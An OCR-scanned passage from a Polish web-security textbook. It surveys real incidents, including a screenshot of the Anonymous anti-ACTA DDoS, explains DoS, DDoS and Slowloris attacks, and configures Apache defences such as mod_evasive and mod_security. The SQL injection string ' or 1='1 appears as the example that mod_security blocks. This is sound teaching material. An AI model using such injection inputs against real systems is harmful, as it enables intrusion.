trzeniajg sie w serwisach internetowych z zawrotng predkoscig. Laboratoria Kasper-
skiego opublikowaty statystyki, z ktérych wynika, ze tylko podczas jednego z wielu
atakéw na serwis Twitter, w link prowadzgcy do konia trojanskiego klikneto 2000 oséb
w ciggu godziny (Raport, 2011). W roku 2005 niewielki kod JavaScript znany jako
robak "Samy" przez dobe sparalizowat dziatanie serwisu MySpace prowadzac
w konsekwencji do jego tymczasowego wytgczenia. Liczba zainfekowanych kont
siegneta miliona, co sprawito, ze co 35. uzytkownik MySpace zostat skutecznie
zarazony (Hoffman i Sullivan, 2009). Samy byt pierwszym samodzielnie
rozprzestrzeniajgcym sie robakiem Javascript i przetart droge innym robakom, ktére
stanowig obecnie ok 10% ogotu ztosliwego oprogramowania (Raport, 2011).

Inne zagrozenie polega na ujawnieniu lub manipulacji poufnymi danymi
uzytkownika. Mozna fatwo sobie wyobrazi¢, ze skasowanie catej korespondenc;ji
elektronicznej bytoby rzeczg przykra. Jednak konsekwencje mogg by¢ znacznie
powazniejsze, jezeli upublicznione zostang wiadomos$ci wskazujgce na ukryte zwigzki
biznesowe, pozamatzenskie lub homoseksualne. Korespondencja elektroniczna
zawieraC¢ moze rowniez dowody dziatania niezgodnego z prawem lub zasadami etyki
i naraza¢ na szwank wiasciciela skrzynki pocztowej. Podobnie rzecz ma sie z historig
przegladanych stron. Informacje o tym, jakie strony przeglada uzytkownik moga
wydawac sie niegrozne. Jest jednak wprost przeciwnie. W sierpniu 2006 roku firma
AOL Inc. (od ang. America OnLine) przez pomytke ujawnita najpopularniejsze
wyrazenia wyszukiwane przez jej uzytkownikow. Informacje te teoretycznie byty
anonimowe, jednak istniata mozliwos¢ skojarzenie identyfikatora uzytkownika
z prawdziwymi danymi, poniewaz uzytkownicy wpisywali czesto w pole wyszukiwarki
swoje nazwisko lub szukali cztonéw rodziny. Po wnikliwej analizie szukanych fraz
badacze byli w stanie potgczy¢é szukane wyrazenia z rzeczywistymi osobami. Wyniki

analizy wykazaly takze, ze uzytkownicy zainteresowani byli pozyskaniem informagiji
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m.in. o poradach lekarskich, domach publicznych, pornografii dzieciecej, a nawet
szukali porad zwigzanych ze sposobem zabodjstwa maizonka (Hoffman i Sullivan,
2009). Kazdy powinien sie zastanowi¢ i odpowiedzie¢ na pytanie: czy chciatbym, aby
moi bliscy poznali petng liste szukanych przeze mnie w Internecie wyrazehn?
Odpowiedz w wiekszosci przypadkéw prawdopodobnie brzmi: NIE.

Zdarzajg sie takze zmasowane i zorganizowane ataki na infrastrukture
informatyczng konkretnych firm lub catych panstw. Nosza one nazwe ,wojna
cybernetyczna” (Wojna, 2012). Udokumentowano pare takich zmasowanych atakéw.
Jednym z pierwszych byt atak na serwery USA przez hakeréw rosyjskich i chinskich
(Wojna, 2012). Bardzo znany jest atak cybernetyczny na Estonie, ktéry sparalizowat
aplikacje internetowe agend rzgdowych, bankéw i mediow Estonii (Wojna, 2012).
Ataki takie oprécz wyraznych celéw (zwykle ekonomicznych Iub politycznych)
stanowig element wojny informacyjnej badz tez propagandowe;.

Coraz  czesciej ataki cybernetyczne sg wyrazem  obywatelskiego
niepostuszenstwa lub tez formg nacisku na rzadu i inne instytucje w demokratycznych
panstwach. Spektakularnym przyktadem byto zablokowanie wielu aplikacji rzgdowych
(i nie tylko) przez grupe hakerow (przy wydatnej pomocy spoteczenstwa -—
uzytkownicy Internetu ,uzyczali” swoich komputeréw dobrowolnie) w protescie
przeciwko podpisaniu przez Polske restrykcyjnej umowy o walce z naruszeniami
wiasnosci intelektualnej zwanej ACTA (ang. Anti-Counterfeiting Trade Agreement).
Swoiste ,sprawozdanie” z ataku, zrealizowanego 22 stycznia 2012 roku, przedstawia
rysunek 1.5 (wskazuje m.in. na zablokowanie serwisu: premier.gov.pl). Slangowe
okreslenie TANGO DOWN na rysunku 1.5 oznacza uzyskanie kontroli i zwykle

zablokowanie serwera lub serwisu.
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Anonymous atakuje! Tak chcg zablokowac ACTA

2012-01-22 | Ostatnia aktualizacja: 18:58 | Komentarze: 57

Tagi: ACTA, Anenymous, Internet, Twitter

Rekomenduj artykut  Dodajdo: 57 “ Q
AnonymousWiki 4 I
| OPERATION ANTI-ACTA | pastebin.com/2uDRBS1F
u @AnonymousWiki
E AnonymousWiki «nor . — N
We are launching a full scale attack on Poland's government ~ AT
& & ) - Dre R
Evpattus TANGO DOWN - premier. gov.pl
AnonymousWiki . Favorte 13 Retweef
TANGO DOWWN - sony.co.uk | sorry for the lateness
mienso_pl sanda 11}
AnonymousWiki «nor . B @AnonymousWiki dont stop |
Onet was down for about 30 seconds lol
bminossi
AnonymousWiki " AnonymousWiki how port you use 66677 217
g TANGO DOWN - onet.pl
Retweeted by Claudia_ShadyPL and 36
AnonymousWiki / v others
Currently attacking onet.pl WE NEED YOU 11
e aN0onymouswiki forumotion.com .mmuﬁqﬁim
AnonymousWiki
TANGO DOVWN - premier.g
i—— Favorile 3 Retweel + Reply
AnonymousWiki -
g We're looking on DDoSing onet pl but we need moar people
AnonymousWiki - v
GET IN HERE!! anonymouswiki forumotion com
—
Pokaz slajdow: O wylkcz @5s @10s
TANGO DOWN - to hastlo, ktore oznacza, ze hakerom udalo sig przejac strone
Fot. Twitter

Rys. 1.5. Relacja z ataku cybernetycznego na polskie serwisy w protescie przeciw ACTA

Zrédfo: opracowanie wiasne

Umowa ACTA wzbudza caly szereg kontrowersji w obszarze wykroczen
w obszarze cyfrowym i byla negatywnie odebrana na terenie catej Unii Europejskiej,
w tym w Polsce. Obywatelskie niepostuszenstwo, poza demonstracjami (notabene
organizowanymi czesto przy pomocy serwiséw spotecznosciowych), wykorzystato
cyberprzestrzen.



Aplikacje internetowe i ich bezpieczerstwo 27

1.5.

OGOLNY SCHEMAT ATAKU

Wiekszos¢ atakéw niezaleznie od ich powoddéw i wykorzystywanych podatnosci

cechuje ten sam scenariusz dziatania opierajgcy sie na kilku powtarzalny zbiorach

czynnosci (Sobstel, 2006):

Skanowanie — atakujgcy uzywajgc specjalnego oprogramowania skanuje porty
hosta, aby wykry¢ otwarte porty HTTP (w tym takze porty HTTPS i inne - niestan-
dardowe), a tym samym stwierdzi¢ obecnos¢ dziatajgcych serwerow WWW.
Gromadzenie informacji — agresor rozpoznaje rodzaj serwera, odkrytego na
skanowanych portach, a nastepnie analizuje aplikacje w celu zgtebiania jej
zachowania i budowy. Czesto wykorzystywane sg tu rézne techniki wywotywania
btedéw aplikacji internetowych, ktére pozwalajg rozpozna¢ srodowisko ich pracy —
rysunek 1.6.

Testowanie — atakujgcy poddaje elementy serwisu réznorodnym testom
penetracyjnym, ktére pozwalajg oceni¢ podatnosé aplikacji internetowej na atak
i zaplanowac go.

Planowanie ataku — na podstawie informacji uzyskanych w poprzednich krokach,
agresor okresla stabe punkty serwisu i planuje atak (tj. dobiera metody i narzedzia
a takze czas przeprowadzenia ataku).

Dokonywanie ataku — w oparciu o zaplanowany wczesniej scenariusz, agresor
dokonuje wiasciwego ataku na aplikacije. W tym kroku moze on tez zatrzec

dowody swojej dziatalnosci.
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Rys. 1.6. Odpowiedz niezabezpieczonej aplikacji na btedne zgdanie

Zrédfo: opracowanie wiasne
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Konfiguracja srodowiska aplikaciji —
zagrozenia i ochrona

Cel

Rozdziat poswiecony jest prezentacji konfiguracji typowego S$rodowiska
uruchomieniowego aplikacji internetowych, a mianowicie triady: serwer web-serwer
aplikacji-serwer bazy danych (na przykfadzie najbardziej popularnych: Apache-PHP-
MySQL). Przedstawione zostaly typowe mozliwosci atakéw na wszystkie trzy
komponenty srodowiska oraz metody, narzedzia i zalecenia ochrony przed nimi.
Przedstawiono takze protokét HTTPS, zwracajgc uwage na istotno$¢ jego popraw-
nego stosowania. W rozdziale podkresla sie istotny wplyw na bezpieczenstwo
wlasciwej konfiguracji srodowiska, w tym wartosci jego konkretnych parametrow

i dotgczonych bgdz tylko wigczonych komponentow.

Plan

Typowe srodowiska uruchomieniowe aplikacji internetowych.
Ataki na serwer HTTP i ochrona przed nimi.

Protokét HTPP i HTPPS.

Serwer bazy danych i jego ochrona.

A I A

Konfiguracja srodowiska PHP.
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2.1. TYPOWE SRODOWISKO URUCHOMIENIOWE APLIKACJI INTERNETOWEJ

Jak juz byto wspomniane w poprzednim rozdziale (stos technologiczny z rys. 1.1),
architektura sSrodowiska uruchomieniowego aplikacji internetowej jest zlozona
i wymaga integracji wielu réznych technologii i programéw. Jej programisci muszg
uzywaC wielu roznych jezykdédw programowania. Przyktadowa, wykorzystujgca
popularny jezyk PHP, architektura srodowiska wykonawczego aplikacji internetowej
zostata przedstawiona na rys. 2.1. Podwojnymi strzatkami zostata wyrézniona
komunikacja miedzy urzgdzeniami wykorzystujgcymi sie¢ Internet. Pojedyncze strzatki
oznaczajg natomiast komunikacje w obrebie jednego serwera lub sieci lokalnej.
Z rysunku 2.1 wynika, ze uzyskanie dostepu do aplikacji mozliwe jest jedynie za pos-

rednictwem serwera HT TP zainstalowanego na hoscie $wiadczacym ustugi sieciowe.

= .

Klient

Serwer
bazy danych
(MySaL)

T ,l. (PHP) ]
Pc;;tn ::f - S
i ——p b ystem
2 : — . —> -:1“ |’ plildw

Aplikacja (PHP) \

Host ustug Serwer HTTP = Programy
Internet sieciowych (Apache) = zewnetrzne,
iLinux Debian) TJ' e L polecenia

1
Inne ustugi systemowe
sieciowe

Rys. 2.1. Przykiadowa architektura Srodowiska wykonawczego aplikacji internetowej

Zrédfo: opracowanie wiasne
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Istniejg niestety sytuacje, w ktérych haker moze przejg¢ kontrole nad aplikacjg
poprzez wykorzystanie Iluk w jej Srodowisku wykonawczym lub bfednego jej
skonfigurowania. Na rysunku 2.2 przedstawione zostaty mozliwe kierunki ataku na
komponenty uzywane przez aplikacje webowg. Za ich posrednictwem mozna wptyngc

na dziatanie aplikacji i finalnie przeja¢ nad nig kontrole lub zamiesci¢ ztosliwy kod.

_f‘”#_'Lx"\
{ g \'} g Serwer .
H?‘E bazy danych =
skryplowegs i ¥ Gyt
e, \ (My5CL)
ey
Interter el /
e }"‘J r
| b | System
— — Ty > * ’I’ plikdw
'
Intermet Hosn kg Sarwer HTTP Aplikaqa IFHF) K\ - Frogramy
sieciowych (Apnacha) e Zawnelrzne,
iLinux Debian) T.L L4, polecenia
e ustugi - systamowe
sieciowe £

Rys. 2.2. Przykfadowe kierunki ataku na elementy srodowiska wykonawczego aplikacji
internetowej

Zrédfo: opracowanie wiasne

2.2. ATAKINA SERWER HTTP I OCHRONA PRZED NIMI

Dziatajgcy standardowo na porcie nr 80 serwer HTTP umozliwia udostepnianie
dokumentéw takich jak strony www, grafika lub inne dowolne pliki innym komputerom
— klientom. Serwer HTTP z kolei komunikuje sie z aplikacjg internetowg w celu
przekazania parametrow zgdania klienta zgodnie z interfejsem CGI (lub innym,
np. JSP czy ASP) nastepnie pobrania odpowiedzi na nie. P6zniej dane poddawane sg

dalszemu przetwarzaniu (np. kolejkowane), a w ostatnim etapie odpowiedz zostaje
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wystana do klienta. Wazne jest podkreslenie faktu, ze protokét HTTP jest bezstanowy,
co oznacza, ze dowolne dwa potfgczenia nie sg ze sobg powigzane. Istnieje wiele
serwerow HTTP — tabela 2.1 przedstawia popularno$¢ czterech najczesciej wykorzys-
tywanych. Udziat pozostatych w rynku wynosi 12%, ale kazdy z nich nie przekracza
1% jednostkowo. Dane w tabeli 2.1 powstaty w wyniku badan 188 min aktywnych
serwisow internetowych (October, 2012). Jak wida¢, najbardziej popularnym jest
Apache. Sytuacja taka utrzymuje sie od wielu lat — rysunek 2.3. W zwigzku z tym

wiekszos¢ zagrozen bedzie omowiona na jego przykfadzie.

Tabela 2.1. Najpopularniejsze serwery HTTP w pazdzierniku 2012 roku

Nazwa serwera Producent Obstugiwane strony | Udziat w rynku
Apache Apache 104 min 55,43%
IS} Microsoft 23 min 12,36%
nginx Igor Sysoev 22 min 11,99%
GWS Google 14 min 7,78%

Zrédio: (October, 2012)

" FIETCRAFT -
B Microsoft
Sun
60% B nginx
B Google
B Other
40%
20%
0% —
] be Wl A x! B AN €L
310(” 1‘3 @Q’ fﬁ“ “Q’ o S f@Q’ ‘0'\ D o
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Rys. 2.3. Popularno$c¢ serweréw HTTP w ujeciu historycznym
Zrédio: (October, 2012)
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Ataki odmowy dostepu DoS

Jednym z podstawowych atakéw wymierzonych w serwer HTTP sg ataki z rodziny
DoS (ang. Denial of Service). Polegajg one na doprowadzeniu do odmowy dostepu do
ustugi poprzez spowolnienie, wstrzymanie lub zakonczenie jej dziatania. Ogdlnie
mowigc, paralizujg one funkcjonowanie serwisu, uniemozliwiajgc korzystanie z niego.
Mogg wykorzystywac zapetnienie catej dostepnej pamieci RAM serwera, przepetnie-
nie przestrzeni dysku twardego lub zalanie serwisu tak duzg liczbg zgdan, ze serwer
nie jest w stanie na nie odpowiedzie¢ z powodu petnego wykorzystania mocy proce-
sora. Ataki DoS moga paralizowac rowniez elementy sieci dostepowej jak routery czy
przetgczniki. Sg bardzo przykrym rodzajem atakéw, bowiem w najlepszym wypadku
spowalniajg dziatanie aplikacji internetowej, a w najgorszym sg w stanie zniszczyc¢
wewnetrzng spdjnosé danych lub catkowicie wstrzymac ustuge.

Prosty DoS to atak odmowy dostepu zwany tez ,naptywem ruchu sieciowego”
(Hoffman i Sullivan, 2009) polegajacy na wygenerowaniu przez atakujgcego bardzo
duzej liczby zgdan, ktére paralizujg prace serwera (rysunek 2.3).

SERWER

Rys. 2.4. Schemat ataku DoS

Zrédfo: opracowanie wtasne

DDoS (ang. Distributed Denial of Service) to rozproszony atak odmowy dostepu.
W jego trakcie atakujgcy uzywa wielu réznych komputeréow (zwanych botami lub
zombi) dla zwielokrotnienia sity ataku i utrudnienia obrony przed nim (Ericson, 2004).
Na rysunku 2.5 sg to komputery, zwane tez ,zombie”, na ktérych zainstalowano

zlosliwe oprogramowanie (ang. Malware). Oprogramowanie to pozwala atakujgcemu
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na zlecenie przeprowadzenia ataku odmowy dostepu na wskazany serwer. Agresorzy
wyszukujg takie komputery w sieci Internet za pomocg zautomatyzowanego oprogra-

mowania skanujgcego i wykorzystujg je do zorganizowania ataku typu DDoS.

ﬁﬁﬁﬁ iﬁﬁﬁ éﬁﬁé iﬁﬁﬁ

SERWER

Rys. 2.5. Schemat ataku DDoS

Zrédfo: opracowanie wiasne

DRDoS (ang. Distributed Reflection Denial of Service) to rozproszony odbity atak
odmowy dostepu. Polega on na wystaniu spreparowanych przez atakujgcego zgdan
do komputeréw roboczych. Pakiety sg sfalszowane w ten sposéb, ze adresem
zwrotnym jest adres komputera-ofiary. Komputery robocze w odpowiedzi nawigzujg
potgczenie z ofiarg prowadzac do zalania zgdaniami i ataku DoS. Dodatkowo
agresorzy mogg zaangazowac zainfekowane stacje robocze (,zombie”) do zwielokrot-
nienia sity ataku poprzez zlecenie im wystania specjalnie spreparowanych pakietéw.
Specjalisci od bezpieczenstwa komputerowego potocznie nazywajg takie dziatanie
,atakiem smerfow” (ang. Smurff Attack). Atak ilustruje rysunek 2.6.
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Zombie Zombie Zombie Zombie
ebay.com yahoo.com cnn.com bbc.co.uk
Paolecenie dokonania ataku
WWynlanie rmochyfikowanych pakietdw SERWER

Odpowied! abeighajjcs wekazany serwer

Rys. 2.6. Schemat ataku DRDoS

Zrédfo: opracowanie wiasne

Slowloris (DoS nagfowkéw w Apache) jest kolejnym typem ataku z grupy DoS
majgcym na celu zmuszenie serwera HTTP do otwarcia jak najwiekszej liczby watkow
w oczekiwaniu na potgczenie z fikcyjnym klientem. Takie potgczenie dalej nie jest
realizowane, poniewaz do serwera nie dostarczono petnych danych zapytania
i zaktada on, ze brakujgca ich czesci zostanie przestana w najblizszym czasie. Serwer
HTTP zuzywa coraz to wigksze ilosci zasobéw na obstuge tejze gotowosci, w skutek
czego realizuje zasady ataku odmowy dostepu. Atak slowloris nie jest atakiem
wymierzonym w warstwe transportu TCP (ang. Transmission Control Protocol), lecz

w warstwe aplikacji. Z punktu widzenia transmisji danych, potgczenie TCP zachodzi
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poprawnie, lecz zgdanie HTTP nie jest przeprowadzone w sposéb kompletny w prze-
ciwienstwie od tradycyjnego zalewania (ang. Flooding) serwera HTTP spowalniajgcym
i kompletnymi zadaniami. Za pomocg omawianej techniki mozliwe jest takze masowe
zapetnienie pliku z logami serwera. Atakujgcy nawigzuje tysigce niezrealizowanych
potgczen z serwerem, a nastepnie zrywa potgczenie, co skutkuje wpisaniem do
dziennika zdarzen komunikatow o btedach — dla kazdego potgczenia oddzielnie. Atak
Slowloris przeprowadzony moze by¢ rowniez w podobnych konfiguracjach co klasycz-
ne ataki DoS i DDoS.

Ataki DoS w praktyce wymagaja od agresora minimalnego wysitku by skutecznie
sparalizowac dziatanie serwera HTTP. Stosowanie wyrafinowanych zabezpieczeh po
stronie serwera i logiki aplikacji pozwala przeciwdziata¢ zamknieciu takiej aplikaciji.
Umozliwia to funkcjonowanie jej w utomnej formie, ze zmniejszong wydajnoscig oraz
funkcjonalnoscig, az do czasu podjecia radykalnych dziatan ze strony admini-
stratoréw, operatora sieci lub organéw sScigania przestepczosci elektronicznej
(Hoffman i Sullivan, 2009). Waznym aspektem przy rozpatrywaniu problemu atakéw
DoS jest posiadane zaplecze sprzetowe, bo do unieruchomienia wydajnych maszyn
potrzeba wiekszych staran niz do sparalizowania starego, jednordzeniowego serwera

w sieci lokalne;.

Ochrona serwera Apache przed DoS

Aby zabezpieczy¢ serwer HTTP Apache przez atakami DoS mozna uzy¢ modutu
mod_evasive. Pozwala on na przeciwdziatanie atakom odmowy dostepu na
podstawie ustalonych kryteriow. Analizujgc czestos¢ powtarzanych zgdan oraz adresy
z ktérych pochodzg, modut ten automatycznie generuje odpowiedz btedu 403 dla
podejrzanych hostéw i moze informowaé¢ administratorow o probach atakéw poprzez
wystanie listu email. Konfiguracja mod evasive umozliwia jego integracje z innymi
zabezpieczeniami jak tabele IP (ang. IP Tables), zapory ogniowe (ang. Firewall),
routery i inne. W ten sposob uzyska¢ mozna ochrone przed atakami DoS na poziomie
sieci dostepowej lub zainstalowanych programéw obronnych serwera. Takie rozwig-
zanie dodatkowo odcigza serwer HTTP, poniewaz nie musi on juz obstugiwac

kazdego zgdania.
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Ogdlna zasada dziatania mod evasive jest stosunkowo prosta. Serwer
sprawdza bowiem czy adres klienta znajduje sie na czarnej liscie. Jesli tak, to
automatycznie wysytany jest mu kod 403 (odmowa dostepu). W przeciwny wypadku
suma kontrolna (ang. Hash) adresu klienta oraz zgdanego URI (ang. Uniform
Resource Identifier) wyszukiwana jest w specjalnej tabeli porownawczej. Jezeli istnigje
juz taki wpis juz i przekroczona zostata ustalona liczba zgdan na okres czasu, to
potgczenie zostaje automatycznie zerwane, a IP klienta trafia na czarng liste (atak na
jeden URI). Podobnie dzieje sie z dowolnym URI znajdujgcym sie w obrebie domeny
(atak na rézne URI). Sprawdzana jest dozwolona liczba zgdan w obrebie catego
serwisu na okres czasu. Jezeli oba testy miaty wynik negatywny Zzadanie zostaje
obstuzone, adane dotyczgce aktywnosci klienta sg zapamietywane w tabeli
porownawczej. W przypadku pozytywnego wyniku ktéregos z testow odpowiedzig na
zadanie jest kod 403, a modut wykonuje czynnosci ustalone przez administratora, np.
wysyta do niego email powiadamiajgcy lub dodaje adres IP agresora do adresow
odrzucanych przez zapore ogniowg — dzieki temu Apache nie musi obstugiwaé zgdan
z czarnej listy, a natychmiastowe odrzucenie potgczenia nastepuje automatycznie na
poziomie systemowego firewalla.

W celu instalacji modutu mod evasive na systemach z rodziny Linux nalezy

wyda¢ komende z listingu 2.1.

Listing 2.1. Komenda instalacyjna modufu mod evasive

# apt-get install libapache2-mod-evasive

Zrédfo: opracowanie wtasne

Listing 2.2. przedstawia przyktadowg konfiguracje mod_evasive. W takim zesta-
wieniu serwer HTTP generowa¢ bedzie btgd 403 dla zgdan do unikalnego URI, jezeli
one pojawiajg sie czesciej niz 2 razy na sekunde. Serwer HTTP bedzie generowat ten
sam btgd réwniez w przypadku, gdy liczba zgdan do dowolnych zasobdéw danej
domeny przekroczy 25 na sekunde. Adres IP atakujgcego w takich przypadkach
zostanie umieszczony na czarnej liscie na okres 30 sekund. Dyrektywy konfiguracyjne

umieszczono w warunkowym bloku <IfModule> by sprawdzi¢, czy serwer HTTP
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wyposazony jest w modut mod_evasive. Dostgpne dyrektywy konfiguracyjne modutu
mod_evasive szczegotowo zostaty przedstawione w tabeli 2.2 wraz z ich typem oraz

znaczeniem. Wszystkie liczby odnoszg sie do interwatu jednosekundowego.

Listing 2.2. Przyktadowa konfiguracja modutu mod evasive

<IfModule mod evasive20.c>
DOSHashTableSize 4096
DOSPageCount 2
DOSSiteCount 25
DOSPagelInterval 1
DOSSitelInterval 1
DOSBlockingPeriod 30

</IfModule>

Zrédfo: opracowanie wtasne

Tabela 2.2. Spis opcji konfiguracyjnych modufu Apache mod evasive.

Nazwa dyrektywy Typ Opis

DOSHashTableSize liczba Maksymalna liczba wierszy w tabeli z zapamietanymi
zgdaniami

DOSPageCount liczba Liczba zgdan do pojedynczego URI

DOSSiteCount liczba Liczba zgdanh do catej domeny

DOSPageInterval liczba Przedziat czasowy dla pojedynczego URI (sekundy)

DOSSiteInterval liczba Przedziat czasowy catej domeny (sekundy)

DOSBlockingPeriod liczba Czas blokady (sekundy)

DOSCloseSocket yes/no | Zamyka gniazdo wymuszajac ponowne potgczenie

DOSSystemCommand tancuch | Lokalizacja skryptu wykonywanego w przypadku
wykrycia ataku

DOSEmailNotify tancuch | Adres email do wystania powiadomienia o ataku

DOSLogDir tancuch | Lokalizacja katalogu z dziennikiem zdarzen

Zrédfo: opracowanie wtasne

Podobnym modutem jest realizujgcym funkcje QoS (ang. Quality of Service, pol.
jakos¢ ustug) mod_qgos (mod_qos, 2012). Pozwala on na ustawienie priorytetu
dostepu do danych zasobow serwera, ich szybkos¢, maksymalng liczbe uzytkow-
nikéw, ich potaczen itp.

Serwer Apache bez dodatkowych moduldw posiada rowniez wbudowane

dyrektywy stuzgce do podstawowego sterowania obstugg zgdan — tabela 2.3.
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Tabela 2.3. Spis podstawowych opcji konfiguracyjnych Apache moggcych przeciwdziata¢ DoS

Nazwa dyrektywy Typ Opis
KeepAlive on|off Czy zezwoli¢ na obstuge wielu zadan podczas jednego
potgczenia TCP?
KeepAliveTimeout liczba Czas oczekiwania na nastepne zgdanie w ramach
otwartego potaczenia TCP
MaxClients liczba Maksymalna liczba zgdan jakg moze obstuzyé serwer.

Zrédfo: opracowanie wiasne

Innym przydatnym narzedziem jest modut mod security odpowiedzialny za
wykrywanie wlaman. Dziata on rowniez w warstwie serwera HTTP Apache. Poréwnuje
on dane przychodzgce w zgdaniu (ang. HTTP Request) oraz dane odsytane do klienta
(ang. HTTP Response) z wprowadzonymi przez administratora frazami. W przypadku
dopasowania podejmowane sg uprzednio zdefiniowane akacje (np. zapis do dziennika
zdarzen i zerwanie potgczenia). Podobnie jak mod evasive, mod security umoz-
liwia wykonanie zewnetrznego skryptu np. blokujgcego adres napastnika juz na pozio-
mie systemowego firewalla lub routera sieci dostepowej, co przedstawia rysunek 2.7.

APACHE

Serwer HTTF

Med_securty

|
Powiadom - == |
l HITF Hecuest

” administratora . SKRYPT |

Mad_security
HITF Respanse

FIREWALL

Rys. 2.7. MoZliwa konfiguracja modutu mod security

Zrédfo: opracowanie wiasne
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Serwer HTTP

Mod_security
Mod_security

Serwer HTTP

e MY SOL Error ...

Rys. 2.8. Zasada dziatania modutu mod security

Zrédfo: opracowanie wiasne

Rysunek 2.8 przedstawia gtéwng zasade dziatania modutu mod security.
Z jego lewej strony zilustrowano ochrone przed wrogim zgdaniem zawierajgcymi kod
' or 1='1 wykorzystany do wstrzyknigcia zapytania SQL przekazany w zmiennej
zgdania typu GET. Modut ochronny rozpoznaje wrogie wyrazenie i automatycznie
odrzuca potgczenie. Po prawej stronie pokazano natomiast ochrone przed wydoby-
ciem przez atakujgcego nieprzeznaczonych dla niego informacji — w tym przypadku
komunikatu btedu bazy danych zawierajgcego cigg znakow MySQL Error.
mod_security analizuje treSC odpowiedzi i zamiast niej wySwietla klientowi strong
z informacjg o btedzie.

Modut mod security posiada obszerny zbior dyrektyw konfiguracyjnych
zarobwno samego modutu ochronnego, jak i listy zasad umozliwiajgcych tworzenie
skomplikowanych regut bezpieczenstwa. Opis wszystkich dostepnych mozliwosci
konfiguracji jest zagadnieniem dos$¢ obszernym. Mozna tworzy¢ reguty bazujgce na
wszystkich parametrach na raz lub kazdym z osobna (GET, POST, Header, IP itp.),
biatych i czarnych listach oraz wzorcach. Filtracji poddawane sg zaréwno dane
wejsciowe, jak i wynikowe serwera Apache, a w przypadku stwierdzenia proby ataku,
mod security moze wykona¢ wygenerowa¢ dowolng odpowiedz HTTP oraz
wykonaé polecenie zewnetrzne informujgce administratora (np. SMS-em) i blokujgce

adres IP agresora.
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Istnieje takze mozliwos¢ skorzystania ze zdefiniowanych czarnych list wyrazen,
stanowigcych aktualne znane zagrozenia w Internecie (ang. Real Time Rules). Listy
takie podlegajg automatycznej aktualizacji — system operacyjny samoczynnie pobiera
najnowsze wersje plikow zawierajgcych potencjalnie niebezpieczne zgdania. Ustuga
taka to koszt rzedu 100 dolaréw amerykanskich rocznie i swiadczona jest przez
wyspecjalizowane firmy (Atomicorp’s, 2012).

Ochrona dostepu do zasobow w serwerze Apache

Zasady dostepu do zasobdéw serwera Apache zdefiniowane sg w konfiguracji serwera
— domysinie w pliku httpd.conf. Ustawienia te mozna modyfikowa¢ — nadpisywac.
Stuzy do tego dyrektywa AllowOverride. Informacje o napisywaniu ustawien
serwera przetrzymywane sg w specjalnych plikach nazwanych na ogét .htaccess, do
ktérych publiczny dostep jest wylgczany co oznacza ze wpisujgc w przegladarce
internetowej ich adres otrzymuje sie btgd 403 — dostep zabroniony (Arnold i in., 2001).
Za ustawienie dyrektywy AllowOverride odpowiada administrator serwera Apache.
Moze zostac¢ ona ustawiona dla poszczegolnych:

o katalogéw,

e domen (hostow wirtualnych),

e calego serwera.

Dyrektywa ta moze przyjmowac wartosci opisane w tabeli 2.4.

Tabela 2.4. MozZliwe warto$ci dyrektywy AllowOverride

Wartos¢ Opis
All Pozwala przedefiniowaé wszystkie ponizsze ustawienia
AuthConfig | Mozliwos¢ przedefiniowania ustawien zwigzanych z uwierzytelnieniem :
AuthType, AuthName, AuthUserFile

FileInfo Pozwala zmieni¢ ustawienia typow dokumentéw: AddEncoding,
AddLanguage, AddType, CookieTracking, CookieName
Indexes Pozwala przedefiniowaé opcje indeksowania katalogéw takie jak:

DirecotoryIndex (odpowiedzialny za plik domysiny) czy IndexOptions
odpowiedzialny za opcje listowania katalogéw.

Limit Ustawienia pozwalajgce na zmiane dostepu do zasobéw: allow, deny,
order, require itp.

Options Mozliwo$¢ nadpisania ustawien katalogéw przy pomocy dyrektywy Options

None Catkowite wytacznie mozliwosé nadpisywania ustawien

Zrédfo: opracowanie wtasne
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W $rodowisku Apache katalogi dziedziczg po sobie ustawienia, co oznacza ze
katalogi dzieci majg te same ustawienia co katalogi rodzice. W przeciwienstwie do
zagrozen opisanych we wczedniejszych rozdziatach, ustawienia dyrektywy
AllowOverride dotyczg osoOb, ktére posiadajg hosting na serwerze Apache.
Oznacza to, ze administrator zezwala uzytkownikom serwera na zmiane ustawien
wg ich preferencji, ktére nie zawsze majg uzasadnienie w rzeczywistosci. Dobrg
praktykg jest zachowanie zasady najmniejszych uprawien i wigczenie dyrektywy
AllowOverride tylko na wyrazne i uzasadnione Zzyczenie uzytkownika.
W przeciwnym wypadku moze dos¢ do nieswiadomego udzielania autoryzacji dostepu
(Limit) lub wycieku danych (Indexes, Options).

Niektore wartosci dyrektywy jak np. AuthInfo sg natomiast pozadane
i pozwalajg uzytkownikowi na zabezpieczenie katalogu hastem, w przypadku koniecz-
nosci wymuszenia uwierzytelniania. Prawidtowo uzyta opcja limit rbwniez moze zostac
wykorzystana do zabezpieczenia poufnych zasoboéw. Listing 2.3. wyjasnia, jak mozna

uzywac wigczonej opcji Limit i AuthInfo.

Listing 2.3. Ograniczenie dostepu w .htaccess

#plik .htaccess chronionego katalogu
#zezwdl na dostep tylko z sieci lokalnej (Limit)

order deny,allow #kolejnos¢ sprawdzania warunkdow
deny from all #domy$lnie odrzucenie wszystkich
allow from 192.168.0.0/24 #udzielenie dostepu tylko lokalnym

Zrédfo: opracowanie wtasne

Aby uzytkownik "adam" mogt dokonaé poprawnego uwierzytelniania w wybranym
katalogu przy uzyciu hasta "tajnehaslo", najpierw nalezy utworzy¢ takiego uzytkownika
i przypisaé mu hasto korzystajgc z narzedzia htpasswd dostarczanego w pakiecie
Apache. W terminalu systemowym na prawach root'a nalezy wpisa¢ (wykonac)
instrukcje z listingu 2.4. Przed ich wykonaniem nalezy upewni¢ sie czy w systemie

istnieje katalog /usr/local/apache/passwd/.
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Listing 2.4. Stworzenie i nadanie hasta nowemu uzytkownikowi

# htpasswd -c /usr/local/apache/passwd/passwords adam
New password: tajnehaslo

Re-type new password: tajnehaslo

Adding password for user adam

Zrédfo: opracowanie wtasne

Po pomysinym dodaniu nowego uzytkownika nalezy dokonaé konfiguracji pliku

redefiniujgcego ustawienia .htaccess — listing 2.5.

Listing 2.5. Konfiguracja uwierzytelnienia w Apache

#typ uwierzytelnienia

AuthType Basic

#nazwa chronionych zasobdw

AuthName "tajne dane"

#jak magazynowane sa dane logowania

AuthBasicProvider file

#Sciezka do pliku z hastami

#wymagane w przypadku pliku innego niz .htpasswd w tej samej
#lokalizacji oraz w przypadku uzycia dyrektywy Require
AuthUserFile /usr/local/apache/passwd/passwords
#autoryzowany uzytkownik

Require adam

Zrédfo: opracowanie wtasne

Listing 2.6 =zawiera fragment komunikacji klient-serwer w przypadku
